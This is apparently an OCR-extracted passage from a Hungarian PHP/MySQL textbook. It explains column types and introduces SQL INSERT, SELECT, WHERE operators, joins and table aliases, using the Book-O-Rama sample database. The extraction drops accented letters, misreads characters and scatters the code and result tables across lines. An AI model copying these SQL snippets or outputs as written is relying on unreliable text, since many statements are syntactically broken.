28 -l (vagyis 255)
216- l (vagyis 65 535)
216-l (vagyis 65 535)
224- l (vagyis 16 777 215)
224 -l (vagyis 16 777 215)
232-1 (vagyis 4 294 967 295)
232- l (vagyis 4 294 967 295)

Apr nagy binris objektum (BLOB) mez

TINYTEXT
BLOB
TEXT
MEDIUMBLOB
MEDIUMTEXT
LONGBLOB
LONGTEXT

Apr TEXT mez


Norml mret BLOB mez
Norml mret TEXT mez
Kzepes mret BLOB mez
Kzepes mret TEXT mez
Hossz BLOB mez
Hossz TEXT mez

A 9.11 tblzat az ENUM s a SET tpusr mutatja be.

9.11 tblzat: Az ENUM s a SET tpus


Tpus

A halmaz elemeinek ma

Lers

ximlis szma
ENUM (ertekl',

65 535

SET (ertekl',
,ertek2', ...)

Az ilyen tpus oszlopok a felsorolt rtkek s a NULL kzl egyet


trolhatnak.

,ertek2', ...)
64

Az ilyen tpus oszlopok a meghatrozort rtkek egy halmazr


vagy a NULL rtket trolhatjk.

164

9. fejezet

Tovbbi olvasnival
Az adatbzisok ltrehozsrl a MySQL online kziknyvben (http:/ /www.mysql.com) olvashatunk bvebben.

Hogyan tovbb
Miutn megtudruk, hogyan hozharunk ltre felhasznlkat, adatbzisokat s tblkat, figyelmnket az adatbzissal val mun
kra fordtjuk. A kvetkez fejezetben megnzzk, hogyan vihetnk adatokat a tblba, hogyan frissthetjk s trlhetjk
azokat, illetve hogyan krdezhetnk le az adatbzisbL

10
unkavgzsySL
adatbzisunkkal
A fejezetben bemutatjuk

az SQL-t,

illetve ttekintjk hasznlatt az adatbzisok lekrdezsre. Folytatjuk a Book-O-Rama adat

bzis fejlesztst, megtanuljuk, hogyan lehet adatokat beszrni, trlni s frissteni, illetve hogyan krdezhetnk le az adatbzisbL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Mi az SQU

Adatok beszrsa adatbzisba


Adatok visszakeresse adatbzisbl

Tblk sszekapcsolsa
Egymsba gyazott lekrdezsek hasznlata
Rekordok frisstse az adatbzisban

Tblk mdoscsa ltrehozsuk utn


Rekordok rrlse az adatbzisbl

Tblk trlse

Elszr is bemutatjuk, mi az SQL, majd kiderl az is, hogy mirt rdemes hasznlni. Ha eddig mg nem hoztuk volna ltre
a Book-O-Rama adatbzist, tegyk meg most, klnben nem fogjuk tudni nmatni a fejezetben lv SQL lekrdezseket! Az
erre vonatkoz utastsokat a

Webes adatbzis ltrehozsa cm 9. fejezeeben talljuk.

MiazSQL:
Az SQL a Structured

Query Language, azaz a strukturlt lekrdez nyelv rvidtse. A legelterjedtebb nyelv relcis adatbzis-ke
zel rendszerek (RDBMS) elrsre. Az SQL-lel adatokat trolhatunk az adatbzisban, illetve visszakereshetjk azokat. Tbbek
kztt olyan adatbzisrendszerek hasznljk, mint a MySQL, az Oracle, a PostgreSQL, a Sybase s a Microsoft SQL Server.
Az SQL-hez ANSI-szabvny tartozik, s a MySQL, illetve a hozz hasonl adatbzisrendszerek ltalban ennek a szab
vnynak a megvalstsra trekszenek. Nhny apr eltrs van a szabvnyos SQL s a MySQL SQL-je kztt. Ezen klnb

sgek egy rszt a MySQL ksbbi verziiban tervezik megszntetni, msik rszk azonban szndkos. A fontosabb eltrsek
re menetkzben kicrnk majd. A MySQL ltal hasznlt SQL s az ANSI SQL kzrri klnbsgek celjes lisrja a MySQL
online kziknyvben tallhat meg. Az adott oldalt - egyebek kztt - az albbi cmen rhetjk el: http:/ l dev.mysql.com/
doc/re&nan/5.1/ en/ comparibiliry.htrnl.
Bizonyra tallkoztunk mr
lekrdezsre hasznlt

az- adarbzisok definilsra hasznlt


Data Definition Language (DDL), illetve az- adatbzisok
-Data Manipulalion Language (DML) kifejezssel. Az elbbi jelentse adatdefincis nyelv, az utbbi pedig
-

adatkezel nyelv. Az SQL rnindkettt lefedi. A 9. fejezetben tallkoztunk az SQL-beli adatdefincival (DDL), s valamennyir mr
dolgozrunk is vele. A D DL-re az adarbzis kezdeti ltrehozsakor, belltsakor van szksg. Az SQL DML oldalt sokkal gyak
rabban hasznljuk, mert az az SQL-nek

az

adatok adatbzisban trolshoz s adatbzisbl visszakeresshez szksges rsze.

Adatok beszrsa adatbzisba


Mieltt komoly munkt vgezhetnnk az adatbzissal, adatokat kell el trolni benne. A leggyakrabban az SQL INSERT uras
rst fogjuk hasznlni erre.
Emlkezhetnk, hogy

az

RDBMS-ek tblkbl llnak, amelyek pedig oszlopokba rendezett adatok sorait tartalmazzk.

A tblk egy-egy sora ltalban valamilyen vals vilgbeli objektumot vagy kapcsolatot r le, s az adott sor oszloprtkei trol
jk a vals vilgbeli objektumra vonatkoz informcikat. Adatsorokat

az

INSERT utastssal helyezhetjk az adatbzisba.

166

10. fejezet

Az INSERT
INSERT

10

utasts ltalnos formja a kvetkez:

[INTO]

(ertekl,

tabla

ertek2,

[(oszlopl,

oszlop2,

oszlop3, ... }]

VALUES

ertek3, ...};

Pldul ahhoz, hogy a Book-O-Rama adatbzis vasarlok tbljba szrjunk be egy rekordot, a kvetkezket kell begpelni:
INSERT

INTO

vasarlok VALUES

(NULL, 'Julie Smith',

'25 Oak Street',

'Airport West'};

Lthat, hogy a t abla helyre annak a tblnak a nevt rtuk, ahova adatokat szetetnnk pakolni, az ertekl,

ertek2

stb. helyre pedig a konkrt rtkek mennek. Pldnkban az rtkek idzjelek kz kerltek. A karakterlncokat MySQL-ben
mindig egyszeres vagy ktszeres idzjelek kz kell rakni. (Knyvnkben egyszeres s ktszeres idzjeleket egyarnt haszn
lunk.) Szmok s drumok esetben nincsen szksg az idzjelekre.
Az INSERT

utastssal kapcsolarban rdemes nhny rdekessget megemlteni. Az irt megadort rtkek sorban fogjk

a tblzat oszlopait kitlteni. Ha csak egyes oszlopokba szeretnnk adatot rakni, vagy msmilyen sorrendben szeretnnk meg
hatrozni azokat, az utasts oszlopokra vonatkoz rszben fel kell sorolnunk ezeket az oszlopokat. Pldul:
INSERT

INTO

vasarlok (nev,

varos} VALUES

(Melissa Jones', N
' ar Nar Goon North') ;

Ez a megkzelts akkor nyer rtelmet, ha csak rszleges adataink vannak egy adott rekordhoz, vagy a rekord egyes mezi
nem ktelezen kirlrendk. Ugyanezt a vgeredmnyt rjk el a kvetkez szintakrikval is:
INSERT INTO

vasarlok

SET nev = 'Michael Archer',


lakeim
varos

'12 Adderley Avenue',

'Leeton';

Figyeljk meg, hogy Julie Smith adatainak megadsakor NULL

rtket hatrozrunk meg a vasarloid oszlopnak, a tbbi

gyfl hozzadsakor pedig figyelmen kvl hagytuk az oszlopot! Emlkezznk vissza, hogy amikor ltrehoztuk az adatbzist,
a vasarloid oszlopot a vasarlok tbla elsdleges kulcsaknt hatrozruk meg, gy ez kiss furcsnak tnhet. A mezt
azonbanAUTO _INCREMENT-knt hatrozruk meg. Ez azt jelenti, hogy amikor olyan sort szrunk be, amelyben a mezNULL
rtk vagy rtk nlkli, a MySQL az elz rtket automatikusan eggyel megnvelve hozza ltre s szrja be az rtket. Igen
hasznos funkcija ez a MySQL-nek.
Egyszerre tbb sort is beszrharunk egy tblba. Minden sort zrjeleken bellre kell rni, s a sorokat tartalmaz zrjele
ket vesszvel kell egymsrl elvlasztani.
AzINSERT utasts nhny tovbbi vltozatban is ltezik. AzINSERT sz utn aLOW _PRIORITY

vagy a DELAYED kulcs

sz is hasznlhat. Az elbbi azt jelenti, hogy a rendszer vrhat a beszrssal addig, amikor nem olvas adatokat a tblbl.
ADELAYED

kulcssz azt jelenti, hogy a beszrt adatunk pufferbe kerl. Ha a kiszolgl elfoglalt, folytathatjuk a lekrdezsek

futtatst, nem kell megvrni, amig azINSERT

mvelet befejezdik.

Kzveclenl ezt kveten opcionlisan hasznlharjuk azIGNORE kulcsszt. Ez azt eredmnyezi, hogy ha olyan sorokat pr
blunk beszrni, amelyek dupliklt egyedi kulcsot eredmnyeznek, akkor azokat a rendszer csendben figyelmen kvl hagyja.
Egy tovbbi lehetsg azINSERT
nosUPDATE

utasts vgn azON DUPLICATE

KEY UPDATE

hasznlata. Ez arra j, hogy egy ltal

utastssal (amellyel a fejezet egy ksbbi rszben foglalkozunk) megvltoztassuk a dupliklt rtket.

sszelltortunk nhny egyszer mintaadatot, amelyekkel feltlthet az adatbzis. EgyszerINSERT

utastsok sorozatt

lthatjuk, amelyek az egyszerre tbbsoros beszrst alkalmazzk. Ezt a kdrszletet a knyv letlthet mellkletnek \l O_
fej ezet \konyv _ beszuras. sql fjljban talljuk, illetve a 10.1 pldakd is ezt mutatja.

10.1 pldakd: konyv_beszuras.sql- A Book-O-Rama tblitjeltlt SQL kd


USE

konyvek;

INSERT INTO

vasarlok VALUES

(3,

'Julie Smith',

(4,

'Alan Wong',

(5,

'Michelle Arthur',

INSERT

INTO

'25 Oak Street',

'Airport West'},

'1/47 Haines Avenue',

'Box Hill'},

'357 North Road',

megrendelesek VALUES

(NULL,

3,

69. 98,

'2007-04-02'},

(NULL,

l,

49.99,

'2007-04-15'},

(NULL,

2,

74.98,

'2007-04-19'},

(NULL, 3,

24.99,

'2007-05-01'};

'Yarraville'};

Munkavgs MySQL adatbzisunkkal

167

INSERT INTO konyvek VALUES


( '0-672-31697-8' ,

'Michael Margan',

('0-672-31745-1',

'Thomas Down',

('0-672-31509-2',

'Pruitt,

( '0-672-31769-9',

'Thomas Schenk',

'Caldera OpenLinux

'Java 2 for Professional Developers',

'Installing

et al.',

Debian GNU/Linux',

'Teach Yourself GIMP in 24 Hours',

System Administration Unleashed',

34.99),

24.99),
24.99),

49.99);

INSERT INTO rendelesi tetelek VALUES

(l,

'0-672-31697-8''

2)'

(2,

'0-672-31769-9''

l)'

(3,

'0-672-31769-9''

l)'

(3,

'0-672-31509-2',

l)'

(4,

'0-672-31745-1',

3);

INSERT INTO konyv_ertekelesek VALUES


'Morgan knyve jl rthet,

('0-672-31697-8',

tartalma messze

meghaladja a piacon lev alapszint Java knyvek anyagt.');

A kvetkezkppen futtathatjuk t MySQL-en a fenti szkriptet a parancssorbl:


>

mysql -h host -u bookorama -p konyvek

<

/path/to/konyv_beszuras.sql

Adatok visszakeresse adatbzisbl


Az SQL igslova a SELECT utasts. Arra hasnljuk, hogy a tblat meghatrozott kritriumoknak megfelel sorainak
k.ivlastsval adatokat kapjunk vissa u adatbzisbL Rengeteg klnb lehetsg s mdszer van a SELECT utasts
alkalmusra.
A SELECT alapvet formja a kvetkez:
SELECT

[opciokl

elemek

[INTO fajl reszleteil


FROM tablak
WHERE feltetelek l
GROUP BY csoport_tipusa
HAVING feltetel l
ORDER BY rendezes_tipusa

[LIMIT korlatozasi_feltetel

[PROCEDURE eljaras_neve(parameterek)l
[zarolasi_opciokl

A kvetkez rsekben u utasts minden egyes mellkgt bemutatjuk. Elsr uonban nznk egy olyan, opcionlis
mellkgak nlkli lekrdezst, amely nhny elemet vlogat le egy adott tblbl! Eek a elemek jellemzen a tblzat oslo
pa.i. (Lehetnek ugyanakkor MySQL kifejezsek eredmnyei is. Nhny hasnosabb kifejezssel a kvetkez rs vgn megis

merkedhetnk.) A albbi lekrdezs a vasarlok tbla nev s varos oslopnak tartalmt listza ki:
SELECT nev,

varos

FROM vasarlok;

Amennyiben betltttk a 10.1 pldakd rnintaadatait, illetve vgrehajtottuk a fejezet korbbi rszben bemutatott, kt
INSERT

pldautastst, akkor a lekrdes eredmnye a kvetkez les:

+-----------------+--------------------+
l nev

varos

+-----------------+--------------------+
Julie Smith

Airport West

Alan Wong

Box

Michelle Arthur

Yarraville

Melissa Jones

Nar Nar Goon North

Michael Archer

Leeton

Hill

+-----------------+--------------------+

Lthatjuk, hogy a fenti tbla a megadott tbla ( vasarlok ) kivlastott elemeit ( nev s va ros) tartalmua. Eek a ada
tok a vasarlok tbla minden sorbl meg lettek jelentve.

10

168

10. fejezet

Az oszlopokat a SELECT kulcssz utn tetszleges szmban felsorolhaguk. Szmos tovbbi lehetsg kzl vlasztha
runk a lekrdezs kialaktsakor. Nagyon hasznos a dzskerkarakter

10

), amely a megadott tbla vagy tblk sszes oszlopt

kivlasztja. Ha pldul a rendeles i_tetelek tbla sszes oszlopt s sort szetetnnk visszakapni, akkor az albbi SQL
kdot kellene hasznlnunk:
SELECT

FROM rendelesi tetelek;

amely a kvetkez kimenetet eredmnyezi:


+------------+---------------+-----------+

rendelesid

isbn

mennyiseg

+------------+---------------+-----------+

0-672-31697-8

0-672-31769-9

0-672-31769-9

0-672-31509-2

0-672-31745-1

+------------+---------------+-----------+

Adott feltteleknek megfelel adatok visszakeresse


Hogy a tblzat sorainak rszhalmazhoz frjnk hozz, valamilyen kivlasztsi felttelt kell meghatroznunk A WHERE mel
lkgban tehetjk meg ezt. Az albbi kd pldul:
SELECT

FROM megrendelesek
WHERE vasarloid = 5;

a megrendelesek sszes oszlopt kivlaszga, m csak azokat a sorokat, ahol a vasarloid rtke 5. Ennek a lekrdezs
nek a kimenete:
+------------+------------+--------+------------+

rendelesid

vasarloid

sszeg

datum

+------------+------------+--------+------------+

69.98

2007-04-02

24.99

2007-05-01

+------------+------------+--------+------------+

A WHERE mellkg hatrozza meg az adott sorok kivlaszrsra hasznlt felttelt. Jelen esetben azokat a sorokar vlasztor
ruk ki, amelyeknek vasa r lo i d-je 5. Az egyszeres egyenlsgjelet az egyenlsg ellenrzsre hasznljuk; figyeljk meg, hogy
ez eltr a PHP-beli hasznlattl, s ha egyszerre hasznljuk a kr nyelvet, knnyen sszezavarodharunk!
Az egyenlsgen tlmenen a MySQL mveleti jelek s regulris kifejezsek szles skljt tmogatja. A WHERE mellk
gakban leggyakrabban hasznlrakat a 10.1 tblzatban talljuk. A lista nem teljes; ha nem talljuk itt, amit keresnk, nzzk
meg a MySQL kziknyvben!
10.1

tblzat: WHERE mellkgakban gyakran hasznlt sszehasonlt mveleti jelek

Mveleti jel
>

Nv (ha van)

Plda

Egyenlsg

vasarloid

Nagyobb, mint

os szeg > 60.00

Lers
=

Kt rtk egyenlsgr llaptja meg.


Megllapga, hogy az egyik rtk nagyobb-e, mint
a msik.

<

Kisebb, mint

osszeg < 60.00

Megllapga, hogy az egyik rtk kisebb-e, mint a m


sik.

>=

Nagyobb egyenl

osszeg >= 60.00

Kisebb egyenl

osszeg <= 60.00

Megllaptja, hogy az egyik rtk nagyobb vagy egyen


l-e, mint a msik.

<=

Megllaptja, hogy az egyik rtk kisebb vagy egyenl-e,


mint a msik.

= vagy<>

IS NOT
NULL

Nem egyenl

mennyiseg

!= o

lakeim is not
null

Megllaptja, hogy a kt rtk nem egyenl.


Megllapga, hogy a mez tartalmaz-e rtket.

Munkavgzs MySQL adatbzisunkkal

Mveletijel

Nv (ha van)

Plda

Lers

IS NULL

lakeim is null

Megllaptja, hogy mez nem tartalmaz rtket.

BETWEEN

osszeg between

Megllaptja, hogy az rtk nagyobb vagy egyenl-e


a minimum rtkkel, s kisebb vagy egyenl-e a maximum rtkkel.

O and 60.00

varos in

IN

(Carl ton'; "Moe")


NOT

city not in

IN

(Carlton", "Moe")

Mintailleszts

LIKE

nev like

(Fred

%")
NOT LIKE

Minrailleszts

nev not like


(Fred

Regulris kifejezs

REGEXP

"
% )

nev regexp

Megllaptja, hogy az rtk megtallhat-e az adott


halmazban.
Megllaptja, hogy az rtk nem rallhat meg az adott
halmazban.
Egyszer SQL mintaillesztssel ellenrzi, hogy az rtk
illeszkedik-e egy adott minthoz.
Ellenrzi, hogy az rtk nem illeszkedik egy adott minthoz.
Ellenrzi, hogy egy rtk illeszkedik-e egy regulris
kifejezshez.

A tblzat utols hrom sora a LIKE s a REGEXP kulcsszra hivatkozik. Mindkett a mintailleszrs egy-egy formja.
A LIKE egyszer SQL mintailleszrsr alkalmaz. A mintk szablyos szvegbl, illetve a tetszleges szm specilis karaktert
helyettest% (szzalk) jelbl s az egyetlen karaktert helyettest_ (alulvons) karakterbl plhernek fel.
A REGEXP kulcsszr regulris kifejezshez illeszrsre hasznljuk. A MySQL POSlX-fle regulris kifejezsekkel dolgozik.
A REGEXP kulcssz helyett az RLIKE is hasznlhat, a kett egyms szinonimja. A POSlX-fle regulris kifejezseker PHP
ben is hasznljuk. Rszleresebben a Karakterlncok kezelse s regulris kifejezsek cm 4. fejezerben olvashattunk rluk.
Egyszeren a mveleti jelek s a mintaillesztsi szintakrika hasznlatval tbbfle felttelnek megfelel lekrdezseker hajt
harunk vgre, az AND s OR segitsgvel pedig mg sszetettebb szrfelrreleket hozhatunk ltre. Pldul:
SELECT

FROM megrendelesek
WHERE vasarloid

3 OR vasarloid

4;

Adatok visszakeresse tbb tblzatbl


Hogy valamely krdsnkre vlaszt kapjunk egy adatbzisbl, gyakran egynl tbb tbla adarait szksges felhasznlnunk. Ha
pldul azt szeremnk tudni, hogy melyik vsrl adott le rendelst ebben a hnapban, a vasar l ok s a megrendelesek
tblt kell megnznnk. Ha arra is szksgnk van, hogy pontosan mit rendeltek, a rendelesi tetelek tblt is meg kell
nznnk.
Ezek az elemek kln tblkban helyezkednek el, mert a valsg klnbz objektumaihoz kapcsoldnak. Ez a j adatbzis
tervezs egyik alapelve, amit a Webes adatbzis megtervezse cm 8. fejezerben ismertnk meg.
Ahhoz, hogy ezeket az informcikat sszerakjuk SQL-ben, egy sszekapcsols (join) nev mveletet kell vgtehajtanunk.
Ez egyszeren azt jelenti, hogy kt vagy tbb tblt sszekapcsolva kvethetjk az adatok kztti kapcsolatokat. Ha szeret
nnk megtekinteni pldul a Julie Smith vsrl ltal feladott megrendelseket, ki kell keresnnk a vasarlok tblbanJulie
gyfl-azonostjr ( vasarloid) , majd a megrendelesek tblban az ahhoz tartoz megrendelseket.
Br az sszekapcsols elvileg egyszer dolog, mgis egyike az SQL finom s sszetett terleteinek. Szmos klnbz sz
szekapcsolsi tpust valsthatunk meg MySQL-ben, s mindegyik ms clra alkalmazhat.
_

Egyszer, kttbls sszekapcsols


Kezdskppen nzzk meg az imnt emltett,Julie Smith-szel kapcsolatos lekrdezs SQL kdjt:
SELECT megrendelesek.rendelesid,
FROM vasarlok,

megrendelesek.osszeg,

megrendelesek

WHERE vasarlok.nev

AND vasarlok.vasarloid

'Julie Smith'
=

megrendelesek.vasarloid;

169

megrendelesek.datum

IlO
\.

170

10.

fejezet

A lekrdezs kimenere az albbi:


+------------+--------+------------+

10

rendelesid

csszeg

datum

+------------+--------+------------+

69.98

2007-04-02

2 4 . 99

2007-05-01

+------------+--------+------------+

rdemes nhny dolgot megemlteni. Elszr is, mivel a lekrdezs vgrehajtshoz kt tbla adataira is szksg van, mind
kt tblt ki kell listznunk
A kt tbla listzsval az sszekapcsols pust is meghatroztuk - minden bizonnyal anlkl, hogy tudrunk volna rla.
A tblanevek kztri vessz az INNER JOIN vagy CROSS JOIN begpelsvel egyenrtk. Az ilyen pus sszekapcsolst
szoktk teljes sszekapcsolsnak (full join) vagy a tblk Descartesszorzatnak (Cartesian product) is nevezni. Azt jelenti, hogy
"fogd a felsorolt tblkat, s csinlj bellk egy nagy tblt! A nagy tbla sorai a felsorolt tblk sorainak sszes lehetsges
kombincijt tartalmazzk, akr van rtelmk, akr nincs!" Ms szavakkal olyan tblt kapunk, amelyben avasarl ok tbla
minden sorval a megrendelesek tbla minden egyes sort prostottk, fggetlenl attl, hogy az adott vsrl adta-e le az
adott rendelst.
Ez a nyers er (brute-force) alap megkzelts az esetek tbbsgben nem tl hasznos. ltalban csak azokat a sorokat
szeretnnk ltni, amelyeknek tnyleg van rtelme- pldul egy adott vsrl ltal feladott megrendelseket.
gy jutharunk ilyen eredmnyre, ha sszekapcsols i Jelttelt (join condition) rakunk a WHERE mellkgba. Ez a klnleges
pus feltteles utasts mutatja meg, hogy mely tulajdonsgok alkotjk a kt tbla kztti kapcsolatot. Jelen esetben az ssze
kapcsoJsi felttel:
vasarlok.vasarloid

megrendelesek.vasarloid

Ez kzli a MySQL-lel, hogy csak azokat a sorokat rakja az eredmnytblba, ahol a vasarlok tbla gyfl-azonostja
megegyezik a megrendelesek tblval.
Az sszekapcsoJsi felttel lekrdezshez adsval msmilyen sszekapcsolst kapunk, amelynek pusa: egyensszekapcsols
(equi-join).
Figyeljk meg, hogy a pont hasznlata teszi egyrtelmv, hogy egy adott oszlop melyik tblbl szrmazik; vagyis
a vasarlok.vasarloid a vasarlok tbla vasarloid oszlopt, a megrendelesek. vasarloid pedig
a megrendelesek tbla vasar l o id oszlopt jelli.
A pont hasznlatra akkor van szksg, ha az oszlop neve nem egyrtelm - vagyis, ha egynl tbb tblban fordul el. Ha
a hasznlatot kiterjesztjk, akkor klnbz adatbzisok ugyanolyan nev oszlopainak megklnbztetsre is alkalmas. Pl
dnkban a tabla. oszlop megnevezst hasznltuk, de az adatbazis. tabla. oszlop jellssei az adatbzist is meghat
rozzuk- pldul azrt, hogy teszteljnk egy, az albbihoz hasonl felttelt:
konyvek.megrendelesek.vasarloid

masik_adatbazis.megrendelesek.vasarloid

Ezt a hivatkozsi mdszert a lekrdezsben szerepl minden oszlopnl hasznlhatj uk. Klnsen akkor rdemes ezzel lni,
ha lekrdezseink kezdenek sszetett vlni. A MySQL nem ignyli ezt, de emberi szemmel sokkal olvashatbb s kezelhe
tbb teszi lekrdezseinket. Lthatjuk, hogy ezt a szokst kvettk az elz lekrdezs tbbi rszben, pldul a
vasarlok. nev

'

Julie Smith

'

felttel esetben.
nev nev oszlop csak a vasarlok tblban fordul el, gy igazbl nem szksges meghatroznunk, hogy melyik tbla
oszlopra hivatkozunk. A MySQL soha nem fog sszezavarodni. Az emberek szmra a nev nmagban kds lehet, gy
egyrtelmbb teszi a lekrdezs jelentst, ha vasarlok.nev formban hivatkezunk az adott oszlopra.

Kettnl tbb tbla sszekapcsolsa


Kettnl tbb tblt sszekapcsolni semmivel nem bonyolultabb, mint a kttbls sszekapcsols. ltalnos szablyknt el
mondhat, hogy a tblkat prosval kell az sszekapcsolsi felttelekkel sszekapcsolni. gy kpzeljk el ezt, mintha tblrl
tblra kvetnnk az adatok kztti kapcsolatot!
Ha pldul arra vagyunk kvncsiak, melyik vsrl rendelt Javval foglakoz knyveket (mondjuk azrt, hogy reklmot
kldjnk neki egy jonnan megjelen Java kiadvnyrl), tbb tbln kell vgigkvetnnk ezeket a kapcsolatokat.
Olyan vsrlkat kell keresnnk, akik legalbb egy olyan megrendelst feladtak, amelynek egyik rendelsi trele
(rendelesi_tetelek) egy Javval foglalkoz knyv volt. Avasarlok tblbl a vasarloid hasznlatval jutunk
el a megrendelesek tblhoz, ahogy ezt mr korbban is lttuk. Ahhoz, hogy a megrendelesek tblbl eljussunk
a rendelesi tetelek tblig, a rendelsazonostt ( rendelesid) kell hasznlni. Vgl a rendelesi tetelek
_

Munkavgzs MySQL adatbzisunkkal

tblbl a kon yvek tbla egy konkrt knyvhez az ISBN -kd ltal juthatunk. Ha ltrehoztuk ezeket a kapcsolatokat,
megnzzk, melyik knyv cmben szerepel a java kifejezs, majd visszatrnk azon vsrlk nevhez, akik rendeltek ezekbl
a knyvekbl.
Nzzk meg azt a lekrdezst, amely mindezt megvalstja:
SELECT

vasarlok.nev

FROM vasarlok,

megrendelesek,

WHERE vasarlok.vasarloid

AND megrendelesek.rendelesid
AND rendelesi

rendelesi_tetelek,

konyvek

megrendelesek.vasarloid
=

rendelesi tetelek.rendelesid

tetelek.isbn
konyvek.isbn
'
'
AND konyvek. eim LIKE %Java% ;
=

A lekrdezs a kvetkez kimenetet eredmnyezi:


+-----------------+

nev

+-----------------+
l

Julie Smith

+------------ -----+

Lthatjuk, hogy a pldban ngy klnbz tblzaron keresztl kvettk az adatokat, s ha mindezt egyensszekapcsols
sal szeretnnk elrni, hrom klnbz sszekapcsoJsi felttelre van szksgnk. ltalnossgban igaz, hogy sszekapcsolni
kvnt tblapronknt egy sszekapcsoJsi felttel szksges, gy az sszekapcsoJsi felttelek szma az sszekapcsolni kivnt
tblk szmnl eggyel kisebb. Ez az alapszably hasznos lehet a nem igazn mkd lekrdezsek hibakeressnL Ellen
rizzk sszekapcsoJsi feltteleinket, s gyzdjnk meg arrl, hogy vgigjrtuk az utat onnan, amit tudunk, oda, amit tudni
szeretnnk!

A felttelt

nem teYest sorok keresse

Az sszekapcsols MySQL-ben hasznlt msik f tpusa a bal sszekapcsols (left join).

Megfigyelhetjk, hogy az elz pldkban a lekrdezs eredmnye csak azokat a sorokat tartalmazta, ahol egyezst tall
runk. Elfordulhat azonban az is, hogy kifejezetten a nem egyez sorokta van szksgnk - pldul azokat a vsrlkat keres
sk, akik soha nem rendeltek, vagy azokat a knyveket, amiket soha nem rendeltek.
Az ilyen jelleg krdsek MySQL-beli megvlaszolsnak egyik mdszere a bal sszekapcsols hasznlata. Az ilyen tpus
sszekapcsols a kt tbla kztti meghatrozott sszekapcsoJsi felttel alapjn keres egyez sorokat. Ha a jobb oldali tbl
ban nincsenek egyez sorok, olyan sor addik az eredmnyhez, amely NULL rtkeket tartalmaz a jobb oszlopokban.
Nzznk egy pldt:
SELECT vasarlok.vasarloid,
FROM vasarlok

LEFT

vasarlok.nev,

megrendelesek.rendelesid

JOIN megrendelesek

ON vasarlok.vasarloid

megrendelesek.vasarloid;

Ez az SQL lekrdezs bal sszekapcsolst hasznl az gyfelek s a megrendelsek sszekapcsolsra. Lthatjuk, hogy a bal
sszekapcsols enyhn eltr szintaktikt alkalmaz az sszekapcsoJsi felttelhez; jelen esetben az sszekapcsoJsi felttel az
SQL utasts specilis ON mellkgba kerl.
Ennek a lekrdezsnek a kvetkez az eredmnye:
+------------+-----------------+------------+

vasarloid

nev

rendelesid

+------------+-----------------+------------+

Julie

Smith

Julie

Smith

Alan Wong

Michelle Arthur

4
NULL

l NULL

+------------+-----------------+------------+

Ez a kimenet csak azoknl a vsrlknl tartalmaz rendelsazonostt ( rendelesid ) , akiknek van rekordja a megrendels
rblban, azaz volt megrendelsk.
Ha csak azokat a vsrlkat szetetnnk ltni, akik mg semmit sem rendeltek, NULL rtkeket kell keresnnk a jobb tbla
(jelen esetben a rendeles id) elsdleges kulcsmezjben, mivel a valdi sorokban az nem lehet NULL:
SELECT

vasarlok.vasarloid,

FROM vasarlok

LEFT

JOIN

vasarlok.nev

megrendelesek

171

10

17:l

l O. fejezet

USING

(vasarloid)

WHERE megrendelesek.rendelesid IS

10

NULL;

Az eredmny:
+------------+-----------------+

vasarloid

nev

+------------+-----------------+

Alan Wong

Michelle Arthur

+------------+-----------------+

Figyeljk meg azt is, hogy ez a plda msmilyen szintaktikt hasznl az sszekapcsalsi felttelhez! A bal sszekapcsolsok
vagy az els pldban ltott ON, vagy a msodik pldban szerepl U SING szintaktikval mkdnek. Meg kell emltennk,
hogy az utbbi nem hatrozza meg. hogy melyik tblbl jn az sszekapcsalsi tulajdonsg; ppen ezrt a US ING hasznlat
hoz arra van szksg. hogy a kt tbla oszlopnak ugyanaz legyen a neve.
Az ilyen jelleg krdseket egymsba gyazott lekrdezsekkel (subquery) is megvlaszolhatjuk. Ezekkel a fejezet egy ksb
bi rszben rszletesen foglalkozunk.

Ms nevek hasznlata a tblkra: az aliasok


Gyakran praktikus, esetenknt pedig nlklzhetetlen, hogy a tblkra ms nven is hivatkozni rudjunk. A tblk ezen ms
neveit aliasoknak nevezik. A lekrdezs elejn hozhatjuk ltre ket, ezt kveten vgig hasznlhatk. Sokszor rvidtsknt
szolglnak. Kpzeljk el a korbban ltott hatalmas lekrdezst aliasokkal trva:
SELECT v.nev
FROM vasarlok AS

v,

WHERE v.vasarloid
AND m.rendelesid

megrendelesek AS

m,

rendelesi tetelek AS rt,

konyvek AS k

m.vasarloid

rt.rendelesid

AND rt.isbn = k.isbn


'
'
AND k. eim LIKE %Java% ;

Miutn meghatroztuk a hasznlni kivnt tblkat, egy AS mellkg hozzadsval deklarljuk az adott tbla aliast. Az
aliasokat oszlopokhoz is hasznlharjuk - erre rvidesen visszatrnk mg. amikor az sszest fggvnyeket vizsgljuk meg.
Amikor egy tblzatot nmagval szeretnnk sszekapcsolni, tblaaliasokat kell hasznlnunk. A feladat bonyolultabbnak s
egzotikusabbnak hangzik, mint amilyen valjban. Tobbek kztt akkor rud hasznos lenni, amikor egy tblban ugyanolyan
rtk sorokat keresnk. Ha pldul olyan vsrlkat keresnk, akik ugyanabban a vrosban laknak - tegyk fel, hogy olvas
kre szetetnnk ltrehozni -, kt klnbz aliast adharunk ugyanannak a tblnak ( vasarlok ) :
SELECT vl.nev,

v2.nev,

FROM vasarlok AS vl,

vl.varos

vasarlok AS v2

WHERE vl.varos = v2.varos


AND vl.nev

!= v2.nev;

Itt tulajdonkppen gy tesznk, mintha a vasarlok kt klnbz tbla, cl s c2 lenne, s sszekapcsolst hajtunk
vgre a Varos oszlopon. Figyeljk meg. hogy a msodik felttelre ( cl.nev

! = c2.nev) is szksg van annak rdekben,

hogy ne nmagukkal prostsuk a vsrlkat!

sszefoglals: sszekapcsolsok
A 10.2 tblzatban az elzekben bemutatott klnbz sszekapcsols-tpusok sszefoglalst lthatjuk. Lteznek tovbbi
tpusok is, m az itt szereplk a legfontosabbak, a leggyakrabban hasznltak.
10.2 tblzat:

sszelwpcsolsi tpusok MySQL-ben

Nv

Lers

Descarres-szorzat

Az sszekapcsolsban rszt vev sszes tbla minden sornak minden lehetsges kombi
ncija. A tblanevek kz vesszt rva, W HERE mellkgat nem meghatrozva hozhat
ltre.

Teljes sszekapcsols

Ugyanaz, mint az elz.

Munkavgzs MySQL adarbzisunkkal

Nv

Lers

Keresztsszekapcsols

Ugyanaz, mint az elz. gy is ltrehozhat, hogy az sszekapcsolni kivnt tblk neve


kz a CROSS

JOIN

kulcsszavakar rjuk.

Szemancikailag a vesszvel egyenrtk. Az INNER

Bels sszekapcsols

JOIN

kulcsszavakkal is meghat

rozhat. W HERE felttel nlkl a reljes sszekapcsolssal egyenrtk. ltalban megha


